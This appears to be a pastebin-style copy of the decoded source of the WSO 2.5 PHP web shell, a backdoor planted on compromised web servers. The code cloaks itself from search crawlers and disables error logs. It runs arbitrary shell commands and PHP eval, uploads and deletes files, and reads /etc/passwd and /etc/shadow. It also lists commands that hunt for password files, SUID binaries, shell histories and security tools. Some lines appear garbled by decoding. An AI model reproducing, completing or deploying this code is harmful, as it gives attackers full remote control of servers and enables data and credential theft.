· 9 years ago · Dec 27, 2016, 11:48 PM
1/* Decoded by unphp.net */
2
3<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
4 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
5 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
6 header('HTTP/1.0 404 Not Found');
7 exit;
8 }
9}
10@ini_set('error_log', NULL);
11@ini_set('log_errors', 0);
12@ini_set('max_execution_time', 0);
13@set_time_limit(0);
14@set_magic_quotes_runtime(0);
15@define('WSO_VERSION', '2.5');
16if (get_magic_quotes_gpc()) {
17 function WSOstripslashes($array) {
18 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
19 }
20 $_POST = WSOstripslashes($_POST);
21 $_COOKIE = WSOstripslashes($_COOKIE);
22}
23function wsoLogin() {
24 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
25}
26function WSOsetcookie($k, $v) {
27 $_COOKIE[$k] = $v;
28 setcookie($k, $v);
29}
30if (!empty($auth_pass)) {
31 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
32 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
33}
34if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
35else $os = 'nix';
36$safe_mode = @ini_get('safe_mode');
37if (!$safe_mode) error_reporting(0);
38$disable_functions = @ini_get('disable_functions');
39$home_cwd = @getcwd();
40if (isset($_POST['c'])) @chdir($_POST['c']);
41$cwd = @getcwd();
42if ($os == 'win') {
43 $home_cwd = str_replace("\", " / ", $home_cwd); $cwd = str_replace("\", " / ", $cwd); } if($cwd[strlen($cwd) - 1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "ListDirectory" => "dir", "Findindex . phpincurrentdir" => "dir / s / w / bindex . php", "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php", "Showactiveconnections" => "netstat - an", "Showrunningservices" => "netstart", "Useraccounts" => "netuser", "Showcomputers" => "netview", "ARPTable" => "arp - a", "IPConfiguration" => "ipconfig / all" ); else $aliases = array( "Listdir" => "ls - lha", "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va", "showopenedports" => "netstat - an | grep - ilisten", "processstatus" => "psaux", "Find" => "", "findallsuidfiles" => "find / -typef - perm - 04000 - ls", "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls", "findallsgidfiles" => "find / -typef - perm - 02000 - ls", "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls", "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php", "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
44 function wsoHeader() {
45 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
46 global $color;
47 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
48<style>
49body{background-color:#444;color:#e1e1e1;}
50body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
51table.info{ color:#fff;background-color:#222; }
52span,h1,a{ color: $color !important; }
53span{ font-weight: bolder; }
54h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
55div.content{ padding: 5px;margin-left:5px;background-color:#333; }
56a{ text-decoration:none; }
57a:hover{ text-decoration:underline; }
58.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
59.bigarea{ width:100%;height:300px; }
60input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
61form{ margin:0px; }
62#toolsTbl{ text-align:center; }
63.toolsInp{ width: 300px }
64.main th{text-align:left;background-color:#5e5e5e;}
65.main tr:hover{background-color:#5e5e5e}
66.l1{background-color:#444}
67.l2{background-color:#333}
68pre{font-family:Courier,Monospace;}
69</style>
70<script>
71 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
72 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
73 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
74 var p1_ = '" . ((strpos(@$_POST['p1'], "
75") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
76 var p2_ = '" . ((strpos(@$_POST['p2'], "
77") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
78 var p3_ = '" . ((strpos(@$_POST['p3'], "
79") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
80 var d = document;
81 function set(a,c,p1,p2,p3,charset) {
82 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
83 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
84 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
85 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
86 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
87 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
88 }
89 function g(a,c,p1,p2,p3,charset) {
90 set(a,c,p1,p2,p3,charset);
91 d.mf.submit();
92 }
93 function a(a,c,p1,p2,p3,charset) {
94 set(a,c,p1,p2,p3,charset);
95 var params = 'ajax=true';
96 for(i=0;i<d.mf.elements.length;i++)
97 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
98 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
99 }
100 function sr(url, params) {
101 if (window.XMLHttpRequest)
102 req = new XMLHttpRequest();
103 else if (window.ActiveXObject)
104 req = new ActiveXObject('Microsoft.XMLHTTP');
105 if (req) {
106 req.onreadystatechange = processReqChange;
107 req.open('POST', url, true);
108 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
109 req.send(params);
110 }
111 }
112 function processReqChange() {
113 if( (req.readyState == 4) )
114 if(req.status == 200) {
115 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
116 var arr=reg.exec(req.responseText);
117 eval(arr[2].substr(0, arr[1]));
118 } else alert('Request error!');
119 }
120</script>
121<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
122<form method=post name=mf style='display:none;'>
123<input type=hidden name=a>
124<input type=hidden name=c>
125<input type=hidden name=p1>
126<input type=hidden name=p2>
127<input type=hidden name=p3>
128<input type=hidden name=charset>
129</form>";
130 $freeSpace = @diskfreespace($GLOBALS['cwd']);
131 $totalSpace = @disk_total_space($GLOBALS['cwd']);
132 $totalSpace = $totalSpace ? $totalSpace : 1;
133 $release = @php_uname('r');
134 $kernel = @php_uname('s');
135 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
136 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
137 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
138 if (!function_exists('posix_getegid')) {
139 $user = @get_current_user();
140 $uid = @getmyuid();
141 $gid = @getmygid();
142 $group = "?";
143 } else {
144 $uid = @posix_getpwuid(posix_geteuid());
145 $gid = @posix_getgrgid(posix_getegid());
146 $user = $uid['name'];
147 $uid = $uid['uid'];
148 $group = $gid['name'];
149 $gid = $gid['gid'];
150 }
151 $cwd_links = '';
152 $path = explode("/", $GLOBALS['cwd']);
153 $n = count($path);
154 for ($i = 0;$i < $n - 1;$i++) {
155 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
156 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
157 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
158 }
159 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
160 $opt_charsets = '';
161 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
162 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
163 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
164 $m['Self remove'] = 'SelfRemove';
165 $menu = '';
166 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
167 $drives = "";
168 if ($GLOBALS['os'] == 'win') {
169 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\')) $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > '; } echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
170 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
171 ':'') . ' < / span > < / td > ' . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ') . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo "
172 < / div > < tableclass = infoid = toolsTblcellpadding = 3cellspacing = 0width = 100 % style = 'border-top:2px solid #333;border-bottom:2px solid #333;' > < tr > < td > < formonsubmit = 'g(null,this.c.value,\"\");return false;' > < span > Changedir: < / span > < br > < inputclass = 'toolsInp'type = textname = cvalue = '" . htmlspecialchars($GLOBALS['cwd']) ."' > < inputtype = submitvalue = '>>' > < / form > < / td > < td > < formonsubmit = \"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
173 </tr><tr>
174 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
175 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
176 </tr><tr>
177 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
178 <td><form method='post' ENCTYPE='multipart/form-data'>
179 <input type=hidden name=a value='FilesMAn'>
180 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
181 <input type=hidden name=p1 value='uploadFile'>
182 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
183 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
184 </tr></table></div></body></html>";
185 }
186 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
187 function posix_getpwuid($p) {
188 return false;
189 }
190 }
191 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
192 function posix_getgrgid($p) {
193 return false;
194 }
195 }
196 function wsoEx($in) {
197 $out = '';
198 if (function_exists('exec')) {
199 @exec($in, $out);
200 $out = @join("
201", $out);
202 } elseif (function_exists('passthru')) {
203 ob_start();
204 @passthru($in);
205 $out = ob_get_clean();
206 } elseif (function_exists('system')) {
207 ob_start();
208 @system($in);
209 $out = ob_get_clean();
210 } elseif (function_exists('shell_exec')) {
211 $out = shell_exec($in);
212 } elseif (is_resource($f = @popen($in, "r"))) {
213 $out = "";
214 while (!@feof($f)) $out.= fread($f, 1024);
215 pclose($f);
216 }
217 return $out;
218 }
219 function wsoViewSize($s) {
220 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
221 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
222 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
223 else return $s . ' B';
224 }
225 function wsoPerms($p) {
226 if (($p & 0xC000) == 0xC000) $i = 's';
227 elseif (($p & 0xA000) == 0xA000) $i = 'l';
228 elseif (($p & 0x8000) == 0x8000) $i = '-';
229 elseif (($p & 0x6000) == 0x6000) $i = 'b';
230 elseif (($p & 0x4000) == 0x4000) $i = 'd';
231 elseif (($p & 0x2000) == 0x2000) $i = 'c';
232 elseif (($p & 0x1000) == 0x1000) $i = 'p';
233 else $i = 'u';
234 $i.= (($p & 0x0100) ? 'r' : '-');
235 $i.= (($p & 0x0080) ? 'w' : '-');
236 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
237 $i.= (($p & 0x0020) ? 'r' : '-');
238 $i.= (($p & 0x0010) ? 'w' : '-');
239 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
240 $i.= (($p & 0x0004) ? 'r' : '-');
241 $i.= (($p & 0x0002) ? 'w' : '-');
242 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
243 return $i;
244 }
245 function wsoPermsColor($f) {
246 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
247 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
248 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
249 }
250 function wsoScandir($dir) {
251 if (function_exists("scandir")) {
252 return scandir($dir);
253 } else {
254 $dh = opendir($dir);
255 while (false !== ($filename = readdir($dh))) $files[] = $filename;
256 return $files;
257 }
258 }
259 function wsoWhich($p) {
260 $path = wsoEx('which ' . $p);
261 if (!empty($path)) return $path;
262 return false;
263 }
264 function actionSecInfo() {
265 wsoHeader();
266 echo '<h1>Server security information</h1><div class=content>';
267 function wsoSecParam($n, $v) {
268 $v = trim($v);
269 if ($v) {
270 echo '<span>' . $n . ': </span>';
271 if (strpos($v, "
272") === false) echo $v . '<br>';
273 else echo '<pre class=ml1>' . $v . '</pre>';
274 }
275 }
276 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
277 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
278 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
279 wsoSecParam('Open base dir', @ini_get('open_basedir'));
280 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
281 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
282 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
283 $temp = array();
284 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
285 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
286 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
287 if (function_exists('oci_connect')) $temp[] = "Oracle";
288 wsoSecParam('Supported databases', implode(', ', $temp));
289 echo '<br>';
290 if ($GLOBALS['os'] == 'nix') {
291 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
292 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
293 wsoSecParam('OS version', @file_get_contents('/proc/version'));
294 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
295 if (!$GLOBALS['safe_mode']) {
296 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
297 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
298 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
299 echo '<br>';
300 $temp = array();
301 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
302 wsoSecParam('Userful', implode(', ', $temp));
303 $temp = array();
304 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
305 wsoSecParam('Danger', implode(', ', $temp));
306 $temp = array();
307 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
308 wsoSecParam('Downloaders', implode(', ', $temp));
309 echo '<br/>';
310 wsoSecParam('HDD space', wsoEx('df -h'));
311 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
312 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
313 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
314 $temp = "";
315 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
316 $uid = @posix_getpwuid($_POST['p2']);
317 if ($uid) $temp.= join(':', $uid) . "
318";
319 }
320 echo '<br/>';
321 wsoSecParam('Users', $temp);
322 }
323 }
324 } else {
325 wsoSecParam('OS Version', wsoEx('ver'));
326 wsoSecParam('Account Settings', wsoEx('net accounts'));
327 wsoSecParam('User Accounts', wsoEx('net user'));
328 }
329 echo '</div>';
330 wsoFooter();
331 }
332 function actionPhp() {
333 if (isset($_POST['ajax'])) {
334 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
335 ob_start();
336 eval($_POST['p1']);
337 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
338
339 \'\00") . "';
340";
341 echo strlen($temp), "
342", $temp;
343 exit;
344 }
345 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
346 wsoHeader();
347 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
348 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
349 ob_start();
350 phpinfo();
351 $tmp = ob_get_clean();
352 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
353 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
354 }
355 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
356 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
357 if (!empty($_POST['p1'])) {
358 ob_start();
359 eval($_POST['p1']);
360 echo htmlspecialchars(ob_get_clean());
361 }
362 echo '</pre></div>';
363 wsoFooter();
364 }
365 function actionFilesMan() {
366 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
367 if (!empty($_POST['p1'])) {
368 switch ($_POST['p1']) {
369 case 'uploadFile':
370 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
371 break;
372 case 'mkdir':
373 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
374 break;
375 case 'delete':
376 function deleteDir($path) {
377 $path = (substr($path, -1) == '/') ? $path : $path . '/';
378 $dh = opendir($path);
379 while (($item = readdir($dh)) !== false) {
380 $item = $path . $item;
381 if ((basename($item) == "..") || (basename($item) == ".")) continue;
382 $type = filetype($item);
383 if ($type == "dir") deleteDir($item);
384 else @unlink($item);
385 }
386 closedir($dh);
387 @rmdir($path);
388 }
389 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
390 if ($f == '..') continue;
391 $f = urldecode($f);
392 if (is_dir($f)) deleteDir($f);
393 else @unlink($f);
394 }
395 break;
396 case 'paste':
397 if ($_COOKIE['act'] == 'copy') {
398 function copy_paste($c, $s, $d) {
399 if (is_dir($c . $s)) {
400 mkdir($d . $s);
401 $h = @opendir($c . $s);
402 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
403 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
404 }
405 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
406 } elseif ($_COOKIE['act'] == 'move') {
407 function move_paste($c, $s, $d) {
408 if (is_dir($c . $s)) {
409 mkdir($d . $s);
410 $h = @opendir($c . $s);
411 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
412 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
413 }
414 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
415 } elseif ($_COOKIE['act'] == 'zip') {
416 if (class_exists('ZipArchive')) {
417 $zip = new ZipArchive();
418 if ($zip->open($_POST['p2'], 1)) {
419 chdir($_COOKIE['c']);
420 foreach ($_COOKIE['f'] as $f) {
421 if ($f == '..') continue;
422 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
423 elseif (@is_dir($_COOKIE['c'] . $f)) {
424 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
425 foreach ($iterator as $key => $value) {
426 $zip->addFile(realpath($key), $key);
427 }
428 }
429 }
430 chdir($GLOBALS['cwd']);
431 $zip->close();
432 }
433 }
434 } elseif ($_COOKIE['act'] == 'unzip') {
435 if (class_exists('ZipArchive')) {
436 $zip = new ZipArchive();
437 foreach ($_COOKIE['f'] as $f) {
438 if ($zip->open($_COOKIE['c'] . $f)) {
439 $zip->extractTo($GLOBALS['cwd']);
440 $zip->close();
441 }
442 }
443 }
444 } elseif ($_COOKIE['act'] == 'tar') {
445 chdir($_COOKIE['c']);
446 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
447 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
448 chdir($GLOBALS['cwd']);
449 }
450 unset($_COOKIE['f']);
451 setcookie('f', '', time() - 3600);
452 break;
453 default:
454 if (!empty($_POST['p1'])) {
455 WSOsetcookie('act', $_POST['p1']);
456 WSOsetcookie('f', serialize(@$_POST['f']));
457 WSOsetcookie('c', @$_POST['c']);
458 }
459 break;
460 }
461 }
462 wsoHeader();
463 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
464 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
465 if ($dirContent === false) {
466 echo 'Can\'t open this folder!';
467 wsoFooter();
468 return;
469 }
470 global $sort;
471 $sort = array('name', 1);
472 if (!empty($_POST['p1'])) {
473 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
474 }
475 echo "<script>
476 function sa() {
477 for(i=0;i<d.files.elements.length;i++)
478 if(d.files.elements[i].type == 'checkbox')
479 d.files.elements[i].checked = d.files.elements[0].checked;
480 }
481</script>
482<table width='100%' class='main' cellspacing='0' cellpadding='2'>
483<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
484 $dirs = $files = array();
485 $n = count($dirContent);
486 for ($i = 0;$i < $n;$i++) {
487 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
488 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
489 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
490 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
491 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
492 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
493 }
494 $GLOBALS['sort'] = $sort;
495 function wsoCmp($a, $b) {
496 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
497 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
498 }
499 usort($files, "wsoCmp");
500 usort($dirs, "wsoCmp");
501 $files = array_merge($dirs, $files);
502 $l = 0;
503 foreach ($files as $f) {
